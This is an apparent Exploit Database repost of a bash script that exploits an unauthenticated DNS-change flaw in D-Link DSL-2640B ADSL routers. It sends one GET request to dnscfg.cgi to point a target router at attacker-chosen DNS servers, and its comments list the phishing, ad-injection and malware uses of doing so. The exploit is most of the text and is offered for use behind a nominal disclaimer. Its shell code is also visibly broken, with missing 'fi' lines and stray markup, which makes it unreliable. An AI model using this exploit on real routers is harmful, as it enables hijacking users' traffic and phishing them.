D-Link DSL-2640B ADSL Router – ‘dnscfg’ Remote DNS Change

Exploit Database
134 阅读

作者： Todor Donev

日期： 2017-06-18
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/42197/

#!/bin/bash

# D-Link ADSL DSL-2640B GE_1.07

# Unauthenticated Remote DNS Change Exploit

#https://www.ethical-hacker.org/

#https://www.facebook.com/ethicalhackerorg

#Description:

#The vulnerability exist in the web interface, which is

#accessible without authentication.

#Once modified, systems use foreign DNS servers,which are

#usually set up by cybercriminals. Users with vulnerable

#systems or devices who try to access certain sites are

#instead redirected to possibly malicious sites.

#Modifying systems' DNS settings allows cybercriminals to

#perform malicious activities like:

#oSteering unknowing users to bad sites:

# These sites can be phishing pages that

# spoof well-known sites in order to

# trick users into handing out sensitive

# information.

#oReplacing ads on legitimate sites:

# Visiting certain sites can serve users

# with infected systems a different set

# of ads from those whose systems are

# not infected.

#oControlling and redirecting network traffic:

# Users of infected systems may not be granted

# access to download important OS and software

# updates from vendors like Microsoft and from

# their respective security vendors.

#oPushing additional malware:

# Infected systems are more prone to other

# malware infections (e.g., FAKEAV infection).

#Disclaimer:

#This or previous programs is for Educational

#purpose ONLY. Do not use it without permission.

#The usual disclaimer applies, especially the

#fact that Todor Donev is not liable for any

#damages caused by direct or indirect use of the

#information or functionality provided by these

#programs. The author or any Internet provider

#bears NO responsibility for content or misuse

#of these programs or any derivatives thereof.

#By using these programs you accept the fact

#that any damage (dataloss, system crash,

#system compromise, etc.) caused by the use

#of these programs is not Todor Donev's

#responsibility.

#Use them at your own risk!

if [[ $# -gt 3 || $# -lt 2 ]]; then

echo " D-Link ADSL DSL-2640B GE_1.07 "

echo " Unauthenticated Remote DNS Change Exploit"

echo "==================================================================="

echo "Usage: $0 <Target> <Primary DNS> <Secondary DNS>"

echo "Example: $0 133.7.133.7 8.8.8.8"

echo "Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"

echo ""

echo "https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"

exit;

GET=<code>which GET 2>/dev/null

if [ $? -ne 0 ]; then

echo "Error : libwww-perl not found =/"

exit;

GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1